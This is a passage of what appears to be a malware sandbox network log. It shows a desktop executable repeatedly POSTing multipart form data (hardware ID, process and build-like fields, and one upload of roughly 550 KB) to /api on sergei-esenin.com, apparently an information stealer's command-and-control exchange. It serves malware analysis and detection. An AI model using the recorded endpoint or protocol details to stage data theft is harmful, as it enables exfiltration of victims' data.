2024-10-23 15:51:11 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4296112B956885A1B153E678F6E4E86B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 15:51:12 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rtiihapkptm769ajc67lum9g6i; expires=Sun, 16 Feb 2025 09:37:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=irl7AewKhvS8ysA4InO5GjUox3u6WhsRv%2Fpum0prgz3g6I5%2FUnbj1a%2F3udkuxgvUGbFst4VTqCnoZGyWsv8aGzuMipC9tLuAwTxxsrAVhFi3H8bgDvz07qWJaRY319%2BdWQdoTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e31a5cea2c86-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1325&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16140&delivery_rate=2129411&cwnd=233&unsent_bytes=0&cid=151e759325ab629e&ts=414&x=0"
2024-10-23 15:51:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 15:51:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49717	172.67.206.204	443	2224	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:51:12 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=6oXn3WLz68ZdjjsWVyLMCV.kXZLfZ8KCtLvhQw4aUwk-1729698668-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-23 15:51:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4296112B956885A1B153E678F6E4E86B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 15:51:12 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-23 15:51:13 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0eb0pvf004tijjbfgkm79p6rf0; expires=Sun, 16 Feb 2025 09:37:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ddP9taCa6jzZEnMJw8x6LtMOYdnXUX2YIG21QLQZ2sYc%2BCEmHb0uek9g58vcYzU7N50ZJIbyQWvDiNDB2enS%2F8caNbkZyVW2HuvBY9WWtQzBNeIgZ5RGbHDOfAGgvkZ0et%2F8Ow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e32229314796-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1151&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21020&delivery_rate=2594982&cwnd=244&unsent_bytes=0&cid=6b431059d25ef187&ts=691&x=0"
2024-10-23 15:51:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 15:51:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49728	172.67.206.204	443	2224	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:51:14 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=6oXn3WLz68ZdjjsWVyLMCV.kXZLfZ8KCtLvhQw4aUwk-1729698668-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1227 Host: sergei-esenin.com
2024-10-23 15:51:14 UTC	1227	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4296112B956885A1B153E678F6E4E86B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 15:51:15 UTC	1020	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=58v9643bat3niesie90itq8hfb; expires=Sun, 16 Feb 2025 09:37:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ldj1aJV%2Fn1llx2R9Vjw0KioHqcRaX4uZeK%2FOMfybqRs0jTvfS5dLMh8jdOCrWPk%2BQWXKailDA5Wqqh9wKbUyACW7PeyEmgUc4u%2BwGUxIV5my8M%2FAzSizfrhwyV24kQ8VqZ3Anw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e32d8f050bac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2217&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2234&delivery_rate=1338881&cwnd=251&unsent_bytes=0&cid=5e68f188ed7c0f29&ts=531&x=0"
2024-10-23 15:51:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 15:51:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49740	172.67.206.204	443	2224	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:51:16 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=6oXn3WLz68ZdjjsWVyLMCV.kXZLfZ8KCtLvhQw4aUwk-1729698668-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551545 Host: sergei-esenin.com
2024-10-23 15:51:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4296112B956885A1B153E678F6E4E86B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 15:51:16 UTC	15331	OUT	Data Raw: a8 44 56 1c 89 10 98 f6 2f d1 f1 68 22 21 7e 30 a3 b0 3f 48 6a 87 69 b6 6f b0 7d d8 fd a5 a6 e8 25 53 49 44 8a 90 82 31 4e fa ed e1 31 e5 5f 61 01 d1 99 cf 13 67 26 1a 5c d0 2d 15 36 47 53 77 06 6e 8c 5d 31 d2 5a bf 6e 6e da 86 12 77 1e 34 a7 e1 ae 1a 3b a8 2a 33 bf b9 14 34 49 4b ce 6a 90 e6 7b 9a c4 54 a4 78 99 46 16 1f 64 56 39 95 cb e8 b9 a4 ad 4e 7a e8 5f b2 65 4d 4d 16 98 b0 35 42 19 7f 85 c8 db e8 e6 c7 10 5c 0f d5 28 e0 8f b4 c2 a5 5e bf b2 e3 5b 2f 5e ad f6 df 58 05 19 07 e8 a1 e3 a8 bb 7a 0c 51 31 74 8c a4 0e 43 8b 25 5b d6 09 71 46 74 1d 85 6a 54 18 f6 79 ec ce f8 a3 f4 18 88 51 ca e3 35 5c 06 dd 4a 7b 14 40 b6 f6 f2 91 df 00 e3 d8 6b 3c 53 90 30 27 f3 da 7e e2 af fe 3a ff 51 d4 d2 0e 1f 13 34 3d d9 ed c6 8b c1 6c 77 a1 73 ff 24 94 ae 3f 8e c8 Data Ascii: DV/h"!~0?Hjio}%SID1N1_ag&\-6GSwn]1Znnw4;*34IKj{TxFdV9Nz_eMM5B\(^[/^XzQ1tC%[qFtjTyQ5\J{@k<S0'~:Q4=lws$?
2024-10-23 15:51:16 UTC	15331	OUT	Data Raw: d8 ca b4 79 8a 25 a7 7f 53 8f 38 ae 34 51 97 c2 7d ee 6c 07 3d 4a 5f 12 f8 90 5c 85 1d da ed d1 89 9a 7c cb 59 35 80 d1 59 47 67 6e 59 90 6a d0 72 3d 4f 1e da 4e 81 d6 8b cd 02 82 55 e6 59 19 da 3f 14 53 0c b6 f1 e2 eb dc 2d e5 e1 36 e6 e5 af b8 64 13 c9 b5 71 97 82 86 20 54 93 a6 75 1b f1 8a e0 41 a7 53 e5 41 f1 8b 47 15 cc 2d 39 b2 3e 59 bf e9 23 00 77 6a 7b b3 d6 fe 33 ba d4 fd b6 5b d8 88 68 cf 5c c9 db 03 75 1b 83 3e 3d 14 6e 3f e5 e4 52 6d a4 1b 4c 15 00 a5 0d df dd 7b 96 5c 83 4f 47 7c 7a 9f f9 d8 9d 3b 6b df 53 d1 65 6a c4 fd d0 af 65 f3 fa 2d 6b 63 8d f2 66 f6 7d 65 40 f3 8d e8 55 ed de 6f 27 34 d0 14 3f 40 8b a5 a7 89 d4 43 10 69 fa c6 f5 68 bd e8 ad 95 0e 5d d6 14 c4 c0 8a 0c d7 8d f0 81 7a 13 00 58 7d 77 21 58 e5 83 81 57 13 60 e0 02 b5 6e 18 Data Ascii: y%S84Q}l=J_\\|Y5YGgnYjr=ONUY?S-6dq TuASAG-9>Y#wj{3[h\u>=n?RmL{\OG\|z;kSeje-kcf}e@Uo'4?@Cih]zX}w!XW`n
2024-10-23 15:51:16 UTC	15331	OUT	Data Raw: fe ba 28 f6 27 ec 14 c8 3b da ef 1a 9e aa 9d f8 68 8a 7b 74 ad ae 68 08 ce 92 66 32 b3 fb ab ad 7e a3 a6 3f a9 7d 72 28 56 a9 be 87 66 dc 63 e3 60 01 28 89 17 ce 87 52 64 a2 31 82 d4 24 6f 91 4c 88 15 b7 56 b8 a7 db 48 1c 26 b7 ec 71 20 dd b8 22 fe 4b 31 f0 19 1b b7 9c 79 28 3d b8 32 ce fd cb 7a c5 48 8c 60 f7 6f b8 00 41 38 d8 28 89 da 6d 9f 36 43 77 fd 53 21 bc 52 76 71 2e 3f a4 b8 12 97 99 34 e7 f3 a9 57 12 a4 45 fe af 35 ea ff 5d 0e 55 d8 0e a6 b1 a8 13 fe a0 fb 8a d5 2e 90 a3 85 71 99 e4 03 0d ab 01 57 15 ae 31 65 d4 b1 9f 3b 9a d6 8e 1d 04 87 f9 e3 a5 22 dc 20 cb c5 57 71 21 28 f8 a4 3f 08 ed 3f 1c ed 72 cd 94 41 c1 67 59 0d 0d ce 2f 24 61 41 aa c2 0f 63 ee d1 46 27 59 ce d1 c4 ab d8 90 8f 8d c6 cc 17 d6 c9 21 07 51 7d 6f d1 05 fc 50 57 71 11 18 ee Data Ascii: (';h{thf2~?}r(Vfc`(Rd1$oLVH&q "K1y(=2zH`oA8(m6CwS!Rvq.?4WE5]U.qW1e;" Wq!(??rAgY/$aAcF'Y!Q}oPWq
2024-10-23 15:51:16 UTC	15331	OUT	Data Raw: 72 f8 74 7f 67 39 1d d5 9e b4 a7 78 de 8f 83 ff 31 56 05 f5 92 f3 22 75 61 4f e3 b4 d4 6b 4b b3 5d da 24 e3 9f 33 93 bc 5b 11 80 4f 13 b1 d5 45 0f 11 8b 18 6d 52 77 4a 65 23 27 fa 8c d5 81 73 91 6d 3a 5d 7b f5 68 a9 ab 22 dd 61 17 eb 7b 95 f5 3f 32 c9 f9 e1 1c b4 30 0a b5 91 40 0f bd 5f 81 90 69 01 d4 b4 e8 22 c4 32 b1 7b 43 9f 0e ff 70 62 be d1 08 1b ee d2 a0 6c e9 9a 69 9f 34 34 c8 e2 77 ef 2f bf bd f1 52 94 26 c2 6f 03 ec 30 3c 5d f9 b6 3a e3 29 99 22 90 5c 27 1b 69 54 87 24 81 c4 31 d4 b9 ad 8b 63 d5 e8 f9 f8 52 8d 74 f8 8e f0 d2 63 61 35 b9 64 0b db 8c 04 9c b8 d8 de f9 c2 1d db b4 05 14 6e 71 27 d7 9f ca 46 1e 11 36 ae fa b6 d2 a8 15 b0 9a d9 c2 26 84 35 6a 63 c4 c1 eb de 7d 23 59 53 12 e0 db fd c6 43 58 7a f0 35 aa bc fc 4e 20 f8 15 3d 52 15 69 2c Data Ascii: rtg9x1V"uaOkK]$3[OEmRwJe#'sm:]{h"a{?20@_i"2{Cpbli44w/R&o0<]:)"\'iT$1cRtca5dnq'F6&5jc}#YSCXz5N =Ri,
2024-10-23 15:51:16 UTC	15331	OUT	Data Raw: 2d 64 93 5b 4d 29 06 e8 e4 e3 8c 80 16 72 16 e9 e0 9a 99 c8 0d 80 1f 23 c1 59 ee 98 f0 d6 f4 6b c2 34 f5 c0 16 27 d1 ad 29 30 9b 93 42 e8 18 df 3b d0 92 86 21 29 0c 58 f7 d1 1f 4b 7f ba 35 37 c8 cd 6f 2f b1 30 96 36 43 74 41 5a 39 38 2f 3f 2f 8e 20 1b 6e 76 cd af 31 80 d0 eb 1b 5b c8 26 d8 e7 32 c4 c0 02 38 2e e9 a2 5c f8 d0 b2 0d ab b1 61 90 c8 b1 59 cb 44 31 be f6 ae 1d 21 39 72 6e f1 5a bc 32 7a 66 11 0d c7 3c d4 85 c0 be 54 a0 89 e6 4d 57 52 df f8 85 93 69 e4 73 51 a7 3d 64 32 8a 39 05 e2 69 11 65 b3 0c d3 dd a5 2a af 35 ba 7f 5e 47 a3 c0 c0 e2 6a d3 11 98 1d 03 6f ea 63 f8 c1 6d 32 ed dd 7f 9b 6c 37 01 93 a6 06 2c e3 1c f3 27 fd f9 98 17 21 c6 5f 54 5d 0c b0 e3 c3 6a 11 bd 2d 41 41 e6 c3 88 8f c8 ba 84 e2 0e 89 17 c8 e3 f1 c7 a5 c0 74 3d 84 68 58 29 Data Ascii: -d[M)r#Yk4')0B;!)XK57o/06CtAZ98/?/ nv1[&28.\aYD1!9rnZ2zf<TMWRisQ=d29ie*5^Gjocm2l7,'!_T]j-AAt=hX)
2024-10-23 15:51:16 UTC	15331	OUT	Data Raw: f3 cf fd d9 7f bb 36 41 6d eb f0 14 2a 75 d7 f7 a1 3f 43 e5 c5 4b 01 15 31 58 42 d9 8f 86 51 51 53 3d a7 1d 32 24 63 a8 69 a0 f5 71 dc 28 44 36 23 4f 83 fc 46 d6 03 aa 6d e7 1b 4b dc 96 38 e2 fa ce 14 0d 26 2a 2a f4 b5 6c ab 3e 1a b9 90 68 4b b0 d5 3a 33 50 6b ad e5 12 b1 43 b4 f4 24 33 09 a9 ed ab e9 ff db 0e 0e 4f 11 f2 18 ca f0 46 bf 96 a5 07 f4 45 09 2e e8 d8 0d 3d f6 9c 77 d3 aa e0 be f3 fc 04 f8 3c 79 c5 04 8a f6 94 e7 e4 b9 ed be 80 db 91 56 4f 00 5a 98 10 be d7 44 fc b8 9b 2d c2 48 ba 94 f8 c0 a4 17 73 dc c7 78 67 ea ae c9 d3 e4 14 1f f9 d7 be 3c 47 60 86 cd d1 24 f5 aa e7 53 b5 ef 8a 16 ae 12 6c 47 1a 34 6f a5 9a d5 24 6d 26 fe 7d c1 8c ac 81 28 9a 6f 55 ca b1 73 03 e6 75 c6 08 93 c1 39 b5 4c 9b 17 8c 0e d1 1c d6 03 1f 57 8d 4d ba 88 e9 34 f6 0c Data Ascii: 6Amu?CK1XBQQS=2$ciq(D6#OFmK8&*l>hK:3PkC$3OFE.=w<yVOZD-Hsxg<G`$SlG4o$m&}(oUsu9LWM4
2024-10-23 15:51:16 UTC	15331	OUT	Data Raw: 82 56 6d 01 ef d9 21 95 8e 25 78 05 36 23 98 7f 3a 8f 3f aa cc d1 53 11 3d 77 bc 44 cb e4 fc a9 7a 32 59 08 d1 5b 5b 7b 14 38 42 dc fc f3 fa 20 eb a4 32 73 7b b7 a7 94 cc 5c 1b 94 e2 25 a2 f9 6f d8 6a 78 72 9a 9f ab 66 9f 6c 91 c5 47 04 f9 11 1a 96 44 88 49 e7 1e d3 6e 97 f4 7a 14 f6 5b c1 81 17 2d 10 98 d1 35 79 c7 c4 3f 43 96 f3 92 44 ab e2 d1 8a 43 39 73 f4 3b 13 0d 82 6c d4 d0 13 b6 1e b2 db bf b2 45 67 5b e8 cf 7a dd 9c 39 46 82 e7 b8 a9 d3 6a 91 61 5d 58 fb 71 12 c2 44 43 a0 e8 3b 65 a6 93 b0 a9 91 99 11 c9 70 e3 35 7f 16 64 f8 bc e0 0e c6 85 30 f5 99 06 0d 34 41 e8 97 dc 4e e6 25 0b c7 4b cc 5a 68 ed 7b ef 31 96 b6 e1 78 07 90 92 11 7c 2d 94 b4 84 9c 95 ab 5d d3 68 12 55 97 a3 89 cb 47 f8 41 c3 c2 44 45 8a 62 56 fa e3 10 94 7b a6 00 9c 64 00 2e 2d Data Ascii: Vm!%x6#:?S=wDz2Y[[{8B 2s{\%ojxrflGDInz[-5y?CDC9s;lEg[z9Fja]XqDC;ep5d04AN%KZh{1x\|-]hUGADEbV{d.-
2024-10-23 15:51:16 UTC	15331	OUT	Data Raw: 0a 87 fd 3d c3 58 7f 73 25 9f 16 a2 75 a6 ce 3b 60 a7 5e 45 a3 f7 43 ba c7 e2 13 85 32 66 77 98 4d 26 2c 6a 74 45 a7 01 62 fa ac 66 05 54 10 4b c7 30 a2 90 7e 8a a3 c6 12 05 10 36 ad 7a 57 bc 17 98 be da cb 5c 7a 7e cc 0d 49 7c e6 a1 f7 f0 af 22 28 81 99 04 a2 c6 04 1c 35 04 5e f2 60 37 d3 1e a4 44 52 61 ce bf b7 8d be bb 89 94 0d 0a 9f 85 16 ba 00 ec 88 32 48 72 74 08 14 b9 86 05 d0 7a 97 98 9e 89 c2 82 7b 72 cc ce 85 70 8d 87 e6 55 a1 48 ac e2 7a d7 a6 69 74 24 2a 2a 3a 6a ac 63 1e b6 32 76 cf c2 a2 83 3c 45 32 5a 85 cf 99 62 5b cc 0e 1c 4e bd 2a 28 0e 1e 9d 64 18 6b 08 5c 42 03 39 a5 ed 07 a2 a7 13 19 89 c7 49 6d 88 06 f7 3b 58 c1 be 17 1c 51 90 58 04 5a be 30 d6 4e 83 6a 9c 84 74 59 b6 d7 f5 c3 2d 87 d8 26 d0 28 e3 5e e9 43 86 4a b4 8e 6b 91 79 af 65 Data Ascii: =Xs%u;`^EC2fwM&,jtEbfTK0~6zW\z~I\|"(5^`7DRa2Hrtz{rpUHzit$*:jc2v<E2Zb[N(dk\B9Im;XQXZ0NjtY-&(^CJkye
2024-10-23 15:51:16 UTC	15331	OUT	Data Raw: 8e e5 07 0e f3 96 30 83 a2 13 84 99 bd a1 4d 2f e6 fe 04 1b 8d 73 7f 29 25 56 ee a9 e2 7e 1c 1e 5b db 81 46 6d d4 52 e8 c3 e1 14 ee ec dc 38 dd 2d b5 89 36 cf a6 07 58 32 87 94 51 dc 46 73 46 02 e5 77 ed b0 c7 c4 82 df 58 e8 e6 77 ce e0 7a 90 4a 90 9f 49 59 6e 80 e8 ec 94 08 fd cf 7b 7d 00 4a 0f a5 3c dc fc e2 66 bf 45 b0 b8 4d 4e e1 e9 71 d0 f7 f6 c2 ba 5f f7 ff 1d f6 3a 00 65 04 2d ec 02 1f 70 e4 50 04 55 e2 2a b6 4d 0b 6c 65 ab 6d 14 1d 69 13 db 0a 84 a6 0a 63 ca 42 f8 7c 14 9d 3e e8 5c 24 bf c3 50 5a fe 3c a6 91 f9 9e 5b 6c 2d 43 26 5f 09 32 b7 de e4 fe bb 65 77 58 db 92 32 9f 89 07 0c f8 50 ba bf de 8d 14 98 e8 bb 4b ff 09 7a 2c c8 76 a0 16 ee 78 0a 48 d9 70 f7 0e cf 9a 93 12 10 75 5b d3 0f 11 04 18 78 14 f6 41 ff 6c 6d 7a 10 c2 06 05 9c 19 bd bb 16 Data Ascii: 0M/s)%V~[FmR8-6X2QFsFwXwzJIYn{}J<fEMNq_:e-pPU*MlemicB\|>\$PZ<[l-C&_2ewX2PKz,vxHpu[xAlmz
2024-10-23 15:51:18 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=08emjvh5h71nogn2ak8sj7eegi; expires=Sun, 16 Feb 2025 09:37:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k%2B8YUG0HuSCdO9oJ0TB39huDHEHx7PLVAL3lZWYKBOPDKaImR8DPJWnQ9jnGiTGiVTCk5gU8BAHihbyT%2BN3FxuJRUE3X9zBu41p534t4nmKIktWntU%2Bi4UuZwdsAWvR8ixh8rQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e3387bf32ccd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1199&sent=216&recv=597&lost=0&retrans=0&sent_bytes=2845&recv_bytes=554116&delivery_rate=2309409&cwnd=251&unsent_bytes=0&cid=f69470ac2a70b806&ts=1961&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49755	172.67.206.204	443	2224	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:51:19 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=6oXn3WLz68ZdjjsWVyLMCV.kXZLfZ8KCtLvhQw4aUwk-1729698668-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
